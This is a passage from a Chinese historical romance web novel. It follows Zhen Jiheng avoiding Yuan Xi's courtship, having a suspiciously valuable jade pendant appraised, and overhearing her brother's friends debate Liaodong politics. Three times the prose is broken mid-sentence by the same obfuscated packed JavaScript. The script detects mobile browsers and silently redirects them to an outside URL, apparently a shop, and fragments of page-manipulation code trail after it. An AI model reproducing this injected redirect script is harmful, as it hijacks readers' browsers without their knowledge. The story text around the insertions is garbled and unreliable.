两人辩得火热,看阵仗谁也说服不了谁,最后连累丫鬟秉烛出来打圆场。 “我的祖宗,这都几更天了哎?”缦双那水杏般的眼睛难得惺忪,她嗐声,“小的们受罪倒无妨,再不睡,恐您两位作践坏各自的身子!” 这略带怨气的话从一向矜持温顺的缦双嘴里吐露,兄妹俩未免惭愧,皆不作声了,细想今晚所为,实属失仪。 呆晾了片刻,季蘅兴味俱散地揩了揩早已干透的泪痕,方才演得太入戏,险些过尤不及,现下冷静不少,倒还有点疲累,于是索性牵动一角罗衾,把脸朝里睡下,不再言语。 在旁的甄尧则气得脑瓜仁嗡嗡直响,自讨罪受:“当前你还年幼,见识太少,遇事难想通透,往后就该分明为兄的苦心!” 所幸给了台阶,他撂下句怨言,便斩钉截铁地甩袖走了。 这夜,竟是深眠无梦。 第二天,季蘅没心没肺地睡到日上三竿,好似昨晚无事发生。 几只小雀在房檐上活蹦乱跳,她却懒懒摊摊的,坐在镜匣前,把如瀑的长发梳顺,见细宝端着铜盆进来,要服侍栉沐,随口问:“袁熙走了没?” “许是吧,早前碰到卢宽,说郎君几个一同出了门。” 季蘅立即恢复了精神,声调都清亮不少:“好,便将新买的那支镂花银蝶步摇寻来,今日定要外出的,可怜我这副身子骨啊,就快躺散架了。” 见她喜形于色,细宝半真半假地喟叹:“娘子怪生无情的,叫我们反倒有些心疼袁公子了。” “呵,心疼他做什么,该心疼咱家的钱,那几人白吃白喝好多天呢。” “未必赔本的买卖,”缦双一面收拾床榻,一面打趣,“也许这就是娘子常言的奇货可居?” “想得真美,”季蘅伸眉,语气颇尖酸,“时势所趋,才使碌碌庸流当道,有些顽竖不过滥竽充数,勉强称之‘英杰’,到底是难长久的,转眼便如云烟消霁,化作风埃,何以比得始皇之父?吕不韦本尊听了都要气急败坏,赶忙给尔等呆厮托梦!” 橱箱旁挥麈掸灰的绫戈不谙史乘,却也乐弯了眼睛: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052408|149044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “妙哉,就巴望他老人家能尽早指条明路了。奴婢这些年积趱的钱物不算多,倒也敢搏一搏,做个飞黄腾达的美梦。” 细宝竟还跟着胡闹附和:“嗯,凡是娘子编的好赖话,大伙儿全然深信不疑。” “去你们的!” 这屋里嘻嘻嗄嗄的,落得十分快活,而屋外,日头高悬,满天浓云,亦是一派闲适安宁。 季蘅欲往襄玉坊娱遣,但先要依循家规跟母亲请示了,才能讨得外出的车驾,等磨蹭至张氏的堂屋,已过晌午。 恰这时,从里间走出两个年纪相仿的妇人,打扮华丽、容颜更盛的是霍逦,正拉着孟硕之妻佟娘的手叙话:“往后若再有难处,只顾大胆提,切莫硬捱,主母总归是好善乐施的心肠。” “全仰仗老夫人仁慈救济,”佟娘低腰,一个劲儿道谢,“待那小子养息好身体,就让他来甄宅当牛做马,以报大恩!” “哟,怎么好事都叫他一人赶上了,能到咱们这儿当差,也是几世修来的福分。” “正是!正是!” 两个说着话,见季蘅过来了,霍逦忙笑脸相迎:“娘子来得实不巧,主母才服过药膳,适间犯困歇下。” 这位慈眉善目的美妇,是先父留下的一个妾室,姓霍名逦,扬州丹阳人,如今在甄家算半个管事的。 季蘅乖乖见礼:“无甚大事,辛苦霍姨了,孩儿早起练了几觚《曹君碑》,现下无聊得紧,就想赴外散心。” “好,记得日落天黑前赶回来就成。”话应允得爽脆,霍逦也不多过问,转而吩咐,“佟儿,你正好替我料理,这便伺候五娘子出游。” 佟娘忙殷勤应下,并对随侍的缦双说:“观天色半阴半晴,若此刻出门,最好给小娘子预备上一顶幂篱。” “不必,我素来戴不惯那玩意,没得弄乱头发。”季蘅冁然,“正要往东市肆喝茶,晒不着淋不着,至多放几把青伞,不劳再拿别的。” “东市……说来也怪惭愧,奴忽记起一桩小事,斗胆请娘子身边的丫头顺手帮办,不知便不便宜?” “但讲无妨。” 佟娘从怀里掏出一样布包,小心翼翼打开,是枚杂有斑纹的青色玉玦。 “掂量着有些实,多少应该能卖几个钱。”又怕旁人误会,不忘解释,“咱有个苦命的侄儿,年纪轻轻却身染顽疾,幸托老夫人洪福,现已救下小命,只是还需些银两吊着将养。他也是个感恩的,把身上唯一一样贵重物件交了出来。” 季蘅纯善,忙问:“还缺多少?我手边尚有闲余。” “不缺不缺,仰赖夫人周济,如今再难都见好了。”刚经受主母恩惠,佟娘哪敢再烦扰她的宝贝小女儿,忙说,“至于这玉,或许不值多少,却是那孩子买的心安。” 举手之劳而已,季蘅贸然收下玉,应承道:“好,过几日得了空,辛苦您来趟我院里。” “如此,蒿恼五娘子了,多谢娘子。” 出了甄宅,再说城郊这边,甄尧正送别他的好友,袁熙、魏讽、韩循、焦触四人回邺。 另两位,阎术罗和谢容允,他们并非袁氏帐中人,行程随意,故而会在毋极多勾留些时日,往后或然各奔一方。 寒暄了几句,那四人依依拜别。 马背上的袁熙顾首遥望,城门下虽人头攒动,唯独没有他日思夜想的倩影,不免心中沮丧,于是轻叹一声,长鞭一抽,只剩尘土飞扬,很快谁也望不着了。 5. 暖玉 帷车里,季蘅不忘嘱托缦双:“累你亲自走趟银铺,先择一忠厚敦朴的碾匠打探市价,若换的数儿委实太少,再从咱们这添些。” “奴婢明白。” “乡下的穷亲戚能有什么好宝贝,辛苦跑这一回怕也弄不到多少钱。”时下的天气仍有些旸燥,细宝摇着团扇,正给娘子驱热,“孟家夫妇可怜,半辈子无儿无女,相须为命,去年听说远房的姨姥姥喜丧,冒着战乱之险,历经万难千辛才赶赴乡邦祭拜,结果竟还拖个病秧子累赘回来。” “他们是哪的人?”季蘅欲闭目养神,无聊问一嘴。 “荆州南阳郡,归途沿淯水,具体哪县哪乡,却记不太清了。” 听着周围闲谈,缦双摩挲起玉石,那姿态,颇有资深鉴宝大师的风范,少顷,开口揣度:“粗略看,怎么也不像摊边拣的便宜货,或许藏有乾坤。” 平时由她打理首饰盒,金玉珠宝见多了,自是比旁人更识货。 季蘅果然微微睁眼,瞟了她一下:“那你多留心。” 旁边的细宝又想起什么,稍显兴奋:“娘子,奴婢同东厨的雁弩关系不错,她母亲与佟姑姑是契姊妹,前段日子就是听她提过,孟家这个侄儿生得十分标俊。” 季蘅不由调侃:“难怪你一天天正事不干,尽打听这些了。” “大伙儿多舌,奴婢无聊时也胡乱凑一耳朵。”细宝心虚笑道,“名字好像叫什么孟觉苦,就搁北郊的旭庄里静养着。说是之前种春麦的时候都要预备棺木了,料想人硬撑着口气,愣是熬过了炎夏。不过现在身子还很虚,不怎么能下地,唉,这般不中用,可惜那好皮囊!” “又给你撞见了?” “还没呢,只是略有耳闻,都说长得十分贵气。尤其雁弩,兴冲冲夸了许多,还摇头摆脑地打比方,什么跟挖藕鞭似的,淤泥里摸出个玉一样的梢子!起初也不多信,她见过何等世面,卢宽那小无赖在她眼里恐怕也算清秀的。于是追问,比咱家那位郎君如何啊,她大约想了想,认真答,确实不太一样,三郎君若是皮毛养得油光水滑的家狐,那孟侄儿就像条满身虱虫、摔断了腿的狸奴。但落魄归落魄,既然能相提并论了,这猫,必不是孬猫。” 她们笑得花枝乱颤,季蘅也戏言:“行,我若得了空,就去庄上看望那好猫。” “还是等孟家侄儿好全了,再传他到娘子跟前谢恩也不迟。”缦双忙提醒,“仔细沾染病气。” 这话在理,总归揣着高门千金的身份,为个小小路人甲,行事无需太冒险出格了。 季蘅颔首认可,其实她不过顺口一提,转眼就将那未曾谋面的什么猫啊狗啊、甜啊苦啊,尽数抛诸脑后。 不知不觉聊到今晚要的吃月牙馄饨该多包哪种馅的时候,马车已经停在东市街的北口,缦双先下去办事了。 “好娘子。”待复行,只剩主仆二人,细宝有些犹豫地提及,“奴婢接下来要说一件事,您听完大可动手打骂,但千万不许自己怄气。” 季蘅约莫猜出与谁人有关了,不免阴阳怪气道:“光天化日,朗朗乾坤,谁敢打你骂你?” 细宝难为情地偏过头:“不是故意要选这时候扫兴。” 她从怀中取出一枚荷包,递也不敢直接递去,手就空悬在那里。 “早晨袁公子非要托卢宽偷摸送过来。为您的清誉,本该辞拒的,可他人已经动身了,小的们做不了主,这东西也不能赖给旁的,更没法退回邺城去。” 荷包是黛蓝缎底,用灰银丝绣了对并蒂莲。季蘅冷眼瞧着,打心底涌起一股郁闷又无奈的情绪。 都说天行有常,命运却如此无常。试想多年以后,她作为袁氏妇,不得不连同整座城池,被更年轻骁勇的曹丕抢占,彼时,远在幽州的袁熙又会以何种心情面对? “娘子……” “现如今还有什么清誉可言?这都算私相授受了。你若真是个机灵的,枉我一直费嘴。”季蘅轻叹,她不愿收下,并非在乎那些虚妄的条条框框,而是害怕亏欠人情,“罢了,拿与我瞧瞧。” 只见荷包里兜了对莹润光泽的耳坠,还有条丝绢,劲挺写着几个字:我心匪石,不可转也①。 迄今不过碰了两三面而已,连话都没说上几句,便就这般死心塌地了? 那人怕是将一时冲动的见色起意,错当成真爱了吧! 只是不敢确定,这片刻之间,是否也有稍许真心…… “你先收好,以后得机会再还他。” 季蘅暗自决定,这袁熙,能躲则躲,若实在躲不掉,来日嫁进邺城里,也断不能与他做一对恩爱夫妻,相敬如宾即可,如此,分离时才不会太痛苦。 不知实情的细宝尤感惋惜,似乎有股冒头替外人抱不平的冲动,可那嘴皮将启未启,到底迟疑了一霎,什么也没说出口。 车驾慢悠悠的,最后安稳到了生意兴隆的襄玉坊附近,为避耳目,她们依然走的后门。 老板玄矶是相见恨晚的熟识,客人再多,顶楼也会留间雅座给季蘅。 “今天的曲乐还有宁姬的筝、赵姬的琵琶,舞是《飞鸿》《踏月》《风吹雪》,演的俳优戏是《曹刿论战》和《邹忌讽齐王纳谏》。”堂倌滕六热络地招待她们上楼,窄眼睛斜溜着谄谀,边详说戏目,“这扮邹忌的,是个从涞源过来的新优子,本家姓白,生得也够细皮嫩肉的,除开逗乐,琴歌酒赋皆不在话下,尤其擅谱曲!待戏演完了,可要喊他过来,让您瞧上一瞧?” 细宝狠剜了滕六一眼:“咄,又在我家娘子跟前说这种浑话,当心你烂舌头!” “借小的一万个牛胆也不敢放肆冒昧,都是坊主招呼的,她啊,时常挂念着您,您倒好久不来了。”滕六忙陪笑脸,“女郎喝点什么,还是按老规矩?” “全是客套话,我现下过来了,却连她的面也没摸着,哪里是真的想我呢。”季蘅倚窗坐下,带点揶揄。 “太不巧了,她老人家早前约见了西凉来的番商,正在隔壁谈笔大生意,应接完准过来瞧您。要不,您先尝尝马奶酒解渴,还是青茶?” “你看着安排吧,这会子竟有些饿了。” “小的明白,还请女郎枯坐片刻。” 话罢,一曲舞毕,珠箔银屏的大堂短暂安静下来,但很快,赵南屏环抱琵琶,纤纤移步上台,欢呼喝彩声便如惊浪,此起彼伏地奔涌着。她今次弹唱的曲子叫《月落两重山》。 目光扫向那些风姿绰约的舞姬和琴师,生恐瑶池仙境也不过如此,季蘅不禁感叹:“甚好甚妙,只可惜我身不由己,没法在此处纵酒狂欢,醉饮达旦。” 细宝嬉皮笑脸地剥起胡桃,戏谑道:“您快饶了大伙儿吧,若让咱家尧郎君知道娘子在这种地方寻欢作乐,不出半个时辰,就得过来领人,没准还要顺手砸烂坊子的牌匾!莫说玄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052409|149044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坊主,恐怕天王老子也拦不住……” “别提他,太败兴。” 季蘅皱了皱眉,可话音刚落,打眼瞧见对面某处紧闭窗户的雅间,走出个熟面孔,匆促下了楼。 正是甄尧的贴身侍从之一。 “成禄?” “啊!”细宝骇然,差点摔了手里捧的碗,“还真是!他怎么也在?” 当真怕处有鬼,季蘅顿时好心情全无。 “唉哟哟,哪来的稀客,迩月未见,竟以为是九天神女显灵下凡了,何德何能叫我等拜谒。”移时,玄矶摇着小扇,笑容可掬地进门,身后还跟了个猴瘦猴瘦的螺髻女使。 她年逾三旬,未曾婚嫁,自打做了货殖营生,便立志要当巴寡妇清第二,今日接待贵客,穿了件较为庄重的绀紫裙裳,鬓边别着两朵黛蓝绢花,举手投足皆是韵味。 “来得巧呀,前阵才新收了几个有意思的优伶,好等甄妹妹寓目!” 季蘅却心事重重地打断问:“甄尧今日也来了?” “且放宽心,”玄矶轻拍了拍她的肩,舒徐坐到对面,抚慰道,“尧郎君向来不喜这些,嫌聒吵,就顾着在房里谈要紧事,把我这儿当头等会客堂了,门窗关得严实,还不许外人叨扰,自然,他也吵不到你了。” 此人生得瑰丽,有一对深邃精明的眸子,洞若观火,季蘅打初见时,便很喜欢了,总不自觉坦诚:“我前日子没来,就为躲开那些人。” “哪至于,瞧着他几位在襄玉坊也不常见,下回若还膈应呀,只管同玄娘讲,保准给你安置到个不得见的好地方。” 季蘅幽幽堆笑,又见滕六先呈上两壶金浆,说肥鸭子正烤着,她更没心思聊不痛快的事,敷衍道:“没下回了,人已经走邺城了。” 玄矶不由戏谑:“容我猜猜,你躲的不会是那位袁公子?他可被坊里好几个姑娘津津乐道……也是,本就如此的,人人都攀追的好东西,我们甄儿反而兴致缺缺了。” “您这是夸我还是损我呢?” “自然是夸。人生苦短,但愿女郎能一直随心随性。何况,那袁公子在我眼里,不过是个半大小子,瞧不出什么特别的。” “最好是,好歹话我这几日算说够了,若连你也来瞎搅和……” “哪能,没那个余闲去自讨苦吃!”玄矶打诨,“不过依我看,是他们蠢笨无能,只消摸顺你的性子,什么搭桥牵线,其实并不难。” “这怎么说?”一旁鬼头鬼脑窥听的细宝不住抻长脖子,开口问。 季蘅略羞恼,瞪去一眼,似怪她多事。玄矶瞧见了,也就以扇捂嘴,放声大笑,那笑声有种不顾体统的豁亮,半晌,余韵好似还挂在梁上回旋。 “我寻思你未必真的憎嫌袁熙其人,架不住好些看客太凑亟,竟揠苗助长了,而你又是个脾性倔强的,所以——”玄矶故意藏了半分,没把话说尽,是突然顿了顿,居心不良地望向细宝,“所以啊,想知道该如何起死回生,”指节敲了敲案面,“是要加大价钱的。” 这便拿她们逗趣了。 “行,”季蘅心情大好,替玄矶剥了颗桂圆,亲手喂到嘴边,“够不够?” 玄矶笑着衔住吃下,最后说:“好了,不闹你了,今日的戏目都不错,甄儿自便。外边还有些琐事要忙,恕不久陪,我将丹沛这丫头留下,若有什么吩咐,尽管差遣她和小六去办,都伶俐着呢。” 6. 容允 午后果然下起了大雨,烟波飘摇的乡露湖,有几只绿头鸭在游弋,一蓑翁正抖擞伫立岸边垂钓。 不远处,谢容允一袭青袍打伞经过。 “敢问阿叟今日钓了多少条鱼?” 那蓑翁直摇头:“小儿错问。老夫是为娱而渔,非为鱼而渔。” 低头所见,脚边竹篓空空如也,一时竟不知这位算脱俗真隐士,还是嘴硬好面子。 谢容允浅笑:“晚辈失言了,钓鱼闲处,本就超凡避世之人的喜好,怎能糊涂问起功利!” 听他这般上道,蓑翁十分受用,满意地捋了捋花白长须:“不心浮,不迟疑,刚柔相济,挠曲枉直;此乃钓鱼之道,亦是宇宙大道。” 隔了层朦胧水汽,绿绸般的水面被细密雨丝带起一圈圈涟漪。 半晌,他又问:“阿叟,谢某混俗,穷极半生只为图条大鱼,敢问,来日是该继续痴守这一方小天地,还是前往更广阔的大江大河?” 蓑翁精神矍铄,解颐答:“正所谓,鱼儿顶浪游,要钓风浪口,顺风必落空。①” 亭皋旁种的是扶疏红艳的槭树,仿若雾中燃烧的烽燧,石径上,成禄勒马向前,远远喊道:“谢先生!谢先生!我家郎君有请——” 听见有人唤他,谢容允恍过神,瞧了眼灰蒙蒙的天,淅沥落下那些雨。 他抻了抻袖口的卷草纹样,朝蓑翁恭敬拜别:“多谢阿叟指教,晚辈受益匪浅。” 蓑翁望着那位郎君逐渐离去的背影,独自感慨:“身在江海之上,心居乎魏阙之下②……” 簌簌,耳边只剩风雨渡过树林的声响。 颍川定陵谢敛,表字容允,小市江湖,常以字行。他是甄尧游经巴东时结交的朋友,那几年大概在倒腾蜀锦,虽出身官宦世族,却早早无心仕途;幼时曾师从东莱徐公河,擅精算,后又习得奇赢术,年不过二十三,偏偏自轻当了行商。 原是人不可貌相的。 初识都道他谈吐轩昂,举止儒雅端正,似有道骨仙风,理应不同于那些俗辈,可惜落实个大相径庭,但凡相处久了,就会觉察他的极致市侩,除了财,此生再无其余爱好,心里真正喜欢的也只那沉甸甸、明晃晃的金锭。 “多少金?” 季蘅偏过头,愣然望向缦双,难以置信地让她重复一遍。 “你方才说值多少?” “足足四十金。”缦双早惊诧过了,只平静执起娘子的手,覆在自己掌心,轻声概述,“银铺的章公一向见多识广,可瞧见它时,眼睛都亮了,又端看多次,最后才敲定说确是块上好的水苍玉,奴婢便没敢久留,匆忙赶过来了。” 如今再摸,这玉凉丝丝的触感竟变得有些烫手。 一旁的细宝听完,溜瞅着圆眼睛,蓦地惊呼:“那孟家侄儿该不会是个蟊贼吧!” 季蘅将手收回宽袖里,瞥了她一眼,敛容怪嗔:“教过多少次,凡事讲求证据,不可凭白污人声誉。” “是……奴婢莽撞失言了。” 缦双也跟着坐下,呷了几口茶,歇息片刻,才迂缓道:“兴许传家宝呢,如今落魄,未必祖上不曾阔过。” “哪能啊,”细宝嘟着嘴,仍不太服气,悄声嘀咕,“我看他们家世世代代都像伺候人的辛碌命。” 一时也商讨不出个所以,心事重重的季蘅只好说:“回去再议。” 襄玉坊鱼龙混杂,不便多言,何况今日还有甄尧在,曲子多少是听不进去了。 片刻,又逢丹沛叩门回来:“女郎,采办的窦翁应下了,他包管,但凡银两给足,世道就没有货短的,那六十件毛褐,不出半月,定叫小厮推着板儿车一样不落地给甄宅送去。” “好,有劳了。”季蘅示意缦双递去两锭钱,“不成敬意,请你们吃酒。” 丹沛略退了半步,恭维道:“本就分内之事,奴婢不该拿的。却知女郎性情,若执意不收,您往后怕是再不会有所吩咐了。”她行完礼,才欣喜接下赏钿,“多谢女郎。” 言语滴水不漏,果真是个灵心慧齿的掮客。 季蘅欣赏般点了点头,命细宝跟随丹沛去柜前结账,等那两人走后,才扯了扯缦双的衣袖,贴耳嘱道:“玉玦之事不宜张扬,明日由你亲自去趟旭庄,找孟……” 闲坐了一会儿,茶壶见底,候到细宝回来复命,她们便如往常那样,不紧不慢地从后门离开。 “外头正飘着细雨,娘子留心脚底滑。” 今日确实赶巧,谢容允这个熟客也走后边进来了,两拨人直接打了照面。 “五娘子。”成禄先瞧见了季蘅,意外之余,连忙止步问候。丫鬟们亦闻声,同样礼貌地退到一旁,给甄尧的贵客谢先生让道。 季蘅昂首垂目,并不在意男女之防,她提裙下楼时,正遇着同样率性、没有避讳的谢容允阔步往上走,四目便这般短暂相对了。 两人皆无言语,敛色屏声地擦肩而过。 二楼某间紧闭的雅阁里,烘垆吱吱冒着小火星,甄尧取了几撮茶焙上发黄的嫩生叶,静候新水煮沸。 “哎呀,别只顾着捣鼓你那堆干草屑了,多少也给我拿个主意!”见对方仍旧一言不发,阎术罗更显急切,肚里好似咽下团炽火。 甄尧微张了张嘴,刚想为自己辩白一二,不料有人突然裹风挟雨地闯了进来,直接打断他的思绪。 “悲莫悲兮生别离,乐莫乐兮新相知。③” 来者衣着素雅袍襕,以檀木束冠,浑身上下仅有一枚短狐雕玉配饰——正是谢容允。 “方送走那几个毛头星,未享半刻的清静,汝等又火急火燎喊谢某过来作甚?” 他整饬好衣摆,潇洒坐到了甄尧的对面。 “哎呀,等得谢兄好苦!”阎术罗仿佛抓住根救命稻草,吼了声,“弟弟我正犯难呢!” 仔细一问,原是那炙手可热的平州太守公孙度已自立为王,最近旨在开疆扩土,屡挑战端,前段日子东征高句丽,如今又盯上了西边的乌桓各部。 “等会儿啊,我多少有些听不明白了,阿罗是恐惧那位辽东王,怕他们猝然攻打谁?” 阎术罗点头复又摇头,总之脑袋在犹豫中画了好大一圈:“辽西的丘力居,月初才刚过世,其子楼班甚是年幼,故而部落诸事暂由亲侄蹋顿代领——这蹋顿啊,与我兄长颇有私交!” “哦,”谢容允恍然大悟,缓缓笑道,“原来你小子是在为该押谁的宝发愁呢?” “什么押宝,分明叫避祸!一旦真打起仗来,蹋顿定会向我兄长求援,届时,出还是不出兵?”阎术罗绕着矮案,略显焦虑地背手踱步,“若帮,寥寥屯军势必难敌公孙度的精锐,自损不说,他又是极其小肚鸡肠之人,以后难免记恨我等;可若全然作壁上观,就怕落个不义的骂名!” 茶终于煮好了,甄尧一改往日的殷勤,只沉默斟了三盏。 “哎呀,你操那份闲心做甚!”谢容允不太耐烦,“自董贼死后,北方早就乱了套,遍地都是短命的王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052410|149044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侯将相。要我看,这地界那地界的,今日或许姓公孙,明日就该改姓了,保不齐以后还得姓什么袁啊曹啊,牛啊马啊的。” “没个正经,就知道你嘴里塞了一堆胡话。算了,阿尧,我只能仰仗你拿主意了。” 甄尧这才仰头,笑慰:“休发急,先啜口新茗润喉。” 阎术罗不由重吁一声,有些勉强地盘坐在谢容允旁边。 “对了,早先袁二公子还没走的时候你为何不提此事?” “嗐,事发突然,我也才收到消息,再者,邺侯眼下的心腹大患是公孙瓒,哪有功夫顾忌外边的公孙度。”他顿了顿,“况且,我也不太敢招惹袁家……” 这点到为止的话,甄尧意外很赞同,将茶推至两位面前:“请。” 谢容允细细打量着那透亮如玉的小盏,里头盛着豆红色的茶甚奇巧:“鲜卑吃扶余,辽东吃鲜卑,自然后头还会有人吃掉他公孙氏的,均是气数将尽的样子。” 甄尧意外开口追问:“那袁氏呢?” “袁氏?哪个袁氏?南边的还是北边的?”谢容允扯着脸皮谑笑,“总归螳螂捕完蝉,难免会有一堆黄雀在后头贪婪地盯着。” “你俩休再与我打谜语!”阎术罗竟似焦渴难耐,将那茶一饮而尽。 “莫害慌,”甄尧安慰,“大家毗邻而居,难免发生龃龉,但未必会拼个死活。” “不怕一万,就怕万一!” 这时,谢容允笑道:“不动如山。” “什么?” “那就按兵不动。公孙度并非你主,乌桓并非你族,他们交战,与你何干?大可避而远之,坚若磐石,就像那不动如山的大鼋,能屈能伸,方得延年益寿。” “可若见死不救,恐为天下人耻笑。” “阎柔世兄虽为朝廷亲封的乌桓司马,到底不是蛮夷出身,不过少时被夷族俘虏,浸染胡风,和那些胡人没有唇齿相依的道理!尔等本就是汉人,如今身为汉臣,食的汉禄,大可不必与外族同舟共济。” 谢容允说起话来,有板有眼的,哪怕不拘对错,也总能唬住对方先信服。 “仓廪实才能知礼节。适逢乱世,人人为己,一时的名声又算得了什么?布衣黔首连饭都吃不饱了,哪里还有空今日笑这个、明日笑那个的?” 他抿了口茶,最后补充道,“显然,比起一个穷兵黩武的辽东王,黎民苍生更关心如何熬过今年的严冬罢!” 阎术罗拍抚着他那秃鹫般的脑门子,几团闷气憋在胸腔,久久才叹出来:“好,既如此,姑且先听你们的,我尽当修书一封,快马传给兄长,但愿周遭能少些战火。” 其实比起北边暧昧不清的纷争,甄尧倒还有别的要紧事相谈,他举盏笑道:“提起这辽东郡,我是久有耳闻的,公孙度治理有方,善用贤良,那边的商贾从来市不二价。” 这便是话中有话了。 谢容允不由望向他,手指叩着那案面,态度略显桀骜:“叔崖,你特意差人喊我过来,不止为术罗之事吧?” “确实不止。”甄尧答,“听闻你过几日要去青州?” “是有去青州走商的安排,或将八月底九月初,怎么,你也想一路?” “我受人所托,正好有笔大生意想与你谈上一谈。” “哦?”谢容允终于来了兴趣,“贩粮,还是丝织?” 甄尧故作玄虚地摇头,盯着席边的长剑,叩指敲了敲它,意味深长:“都道莱阳多出铁石……” 7. 当空 两天后的晡时,缦双领着佟娘前往繁柯院。 “唧唧吱!唧唧吱!” 堂屋外,绫戈正屏住呼吸,有些慌乱地盯着细宝探出去的右手——已经轻巧捏住了伏在窗棂上的一只纯青色蟋蟀。 小丫头既兴奋又胆颤,抻长脖子想要看个清楚,却因顾忌,不经意畏缩了半步,由衷感叹道:“好厉害呀!” “快将罐子打开。” “我有点害怕,万一你不小心脱手,给它跑掉可怎么办?” “少罗嗦,若再磨磨蹭蹭,让人等急了性儿,信不信我叫它立马飞进你的肩窝!” 虽是玩笑话,可绫戈实在发怵,这一听,就信以为真,吓得直接把所捧的瓷罐撂在了窗边,人更是踮着碎步,慌忙往檐廊逃去。 “喂!”细宝扬高眉毛,几近嘲笑,“你啊你,原来真是个不中用的绣花枕头!” 她倒胆大,喊完还故意啧了啧嘴,逗弄起那只蟋蟀。 这会子红枭正坐在廊间捣凤仙花,瞧着略狼狈的绫戈,不住憨笑,又见细宝满脸轻怠,大概是玩得无趣了,才把蟋蟀熟练地丢进罐里。 “看,多大点事!” “好好好,真不愧为女中豪杰,”绫戈贴着廊柱,赞叹服软,“我这就给姐姐敬杯热茶去。” “绫戈,我也要,”在旁的红枭生怕被遗漏了,忙说,“想吃些爽口的糕点,忙活一阵,手发酸,嘴也忽然馋得很。” “知道了,你乖乖等着,权当替娘子奖赏你这半日埋头苦干。”绫戈欢喜敲了下对方宽阔光洁的额头,跹跹转了个圈,哼着小调,迈步轻盈地往内厨去了。 只剩那凉浸浸的秋风,吹抖树梢的枯叶。 刚踏进繁柯院,缦双偏头睇了眼佟娘,缓步与她并肩,几分歉意地陪笑:“劳烦姑姑在这不上不下的时段亲自走一趟,原本想早早请您的,未料三夫人午后省亲回来,拉着娘子说了会儿体己话,可就给耽搁了。” “太客气了,不过五娘子一句差遣的事,奴随叫随到。何况这回还是有求于你们,哪听过以怨报德的道理。” 缦双微微顿颔,却冷不丁提起:“对了,自打薛夫人嫁进来,您还没有拜见过她吧?要说三郎君今年花朝节娶的亲,可您是去岁端午启程赶赴南阳老家的。好巧不巧,这月初您前脚才到毋极,夫人又因幼妹出嫁回母家帮衬了。” “是我少福气,错过三郎君完婚。记得昨前三夫人还未过门的时候,倒常随薛家那几个兄弟过来做客,想必现在出了阁,气派更不一般了。”佟娘小心翼翼地应答,“等这边回完五娘子的传话,正要去老夫人跟前伺候用膳,总是能亲口道句喜的。” “细算日子,您这一趟亲,探得实在艰难。” 对此,佟娘却只敷衍笑笑,不再接话。 行至回廊,与红枭碰了面,小姑娘乖巧地朝她们施礼问好。 “久不见我的儿,又变水灵不少。” 红枭赶忙摇头,略腼腆地拍了下腰身:“姑姑净哄人,养秋膘吃胖许多才是真的。” 这丫头幼年失恃失怙,七八岁时被姨母卖进甄宅谋生计,孤苦无依的,甚是可怜,幸而家中仆妇知她身世,都很关爱,平日里若谁余暇得空了,便会有所照拂。 “想是五娘子宠你们小的,穿的用的尽赏些好尺头,”佟娘伸手细摸了那身上的布料,很是羡慕,但更多的还有欣慰,“不过,你这年纪还在长身体,个头蹿得极快,恐怕过一季就要新量一次身段,有空了就来找姑姑我,也好给你们制几件冬服,厚实的!” 见两人一时亲昵扯起闲话,缦双便陪着停步了片刻,默默望向门帘下站立的人。 细宝也瞧见了她们,朝那边点了点头,然后折身回到屋内。 等到缦双和佟娘进了屋,几桁玳瑁帘已被银钩子牵起,季蘅正伏在案前写字,细宝则不动声色地立在一旁伺候。 “娘子,佟姑姑来了。” “五娘子安好。” 练了两年多的毛笔汉隶,终于写得像模像样了,季蘅端详着纸上的字赋,差强人意。 听见声息,她微抬眼,露出一个冷漠的表情,才漫不经心答了句:“看座。” 观貌辨色,老练的佟娘觉察出些许端倪,不由敛声屏息地推却:“娘子太客气了,奴岂敢僭越,这边站着听训就成,哪受得住您赐坐席。” 季蘅也没勉强,只盯着案面,吹了吹纸上的墨迹,然后仔细把它叠齐整收好,边说:“二十数年来,甄家待您还算不薄?” 突兀的发问,多少让人有些惶恐。 “自是恩重如山!若无甄家,奴绝无可能受享今日的安稳,都不知会在哪处当乞婆了,便是世世代代给甄家做牛做马,也无以为报!” 季蘅却冷笑道:“话虽诚挚,听得多了,倒也不以为意。” “奴蠢钝,万望娘子明示。” 她于是朝细宝使了个眼色。 那块玉便躺进红木匣子里,被呈至佟娘面前。 “娘子仁厚,善待家中仆妇,从无苛责。可惜真心多遭冷心对,好意总被恶念妨……唉,姑姑为何反要诓骗我等?”细宝亦装出副失望嘴脸。 “这、这又从何说起?细宝丫头,莫要折煞我也!” “并非瞧不起谁,”季蘅轻蹙眉尖,“只是这般贵重的稀罕物,连我也少见。” “怎讲?” 